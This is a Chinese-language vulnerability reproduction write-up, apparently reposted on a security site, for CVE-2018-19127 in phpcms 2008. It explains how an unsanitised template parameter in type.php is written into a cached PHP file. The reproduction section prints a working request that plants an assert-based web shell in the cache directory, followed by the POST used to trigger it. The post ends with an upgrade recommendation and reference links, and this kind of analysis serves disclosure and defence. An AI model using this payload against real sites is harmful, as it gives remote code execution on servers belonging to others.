CVE-2018-19127 phpcms 2008 漏洞复现

admin 2022年9月30日07:53:15评论106 views字数 871阅读2分54秒阅读模式

概述:

近日phpcms2008版本被爆出可控的缓存文件写入任意内容漏洞,该漏洞由type.php产生

CVE-2018-19127 phpcms 2008 漏洞复现

我们可以看到$template参数可以由外部传入,只进行了是否为空的判断直接就传入template()函数继续执行,template()函数在/include/global.func.php文件中。

CVE-2018-19127 phpcms 2008 漏洞复现

在template()函数中中,$template参数交给了template_compile()函数处理,而template_compile()函数在include/template.func.php文件中:

CVE-2018-19127 phpcms 2008 漏洞复现

我们来看第七行

$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
TPL_CACHEPATH define('TPL_CACHEPATH', PHPCMS_ROOT.'data/cache_template/'); //模板缓存物理路径

最后直接生成路径被写入content中导致漏洞的产生

漏洞复现

下载phpcms2008sp4_utf8_111122版本 下载地址http://bbs.phpcms.cn/thread-435838-1-1.html 

CVE-2018-19127 phpcms 2008 漏洞复现

访问构造地址地址:http://xxxx/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[sangfor]);{//../rss

CVE-2018-19127 phpcms 2008 漏洞复现

提交post数据:

地址:http://xxxx/data/cache_template/rss.tpl.php提交参数:sangfor=phpinfo()

CVE-2018-19127 phpcms 2008 漏洞复现

影响版本

Phpcms2008

修复建议

升级最新的phpcms V9

参考链接:

https://mp.weixin.qq.com/s/W-onjWZZF7afwzwRmDH5dw 

https://github.com/ab1gale/phpcms-2008-CVE-2018-19127

原文始发于微信公众号(指尖安全):CVE-2018-19127 phpcms 2008 漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月30日07:53:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2018-19127 phpcms 2008 漏洞复现http://cn-sec.com/archives/1069250.html

发表评论

匿名网友 填写信息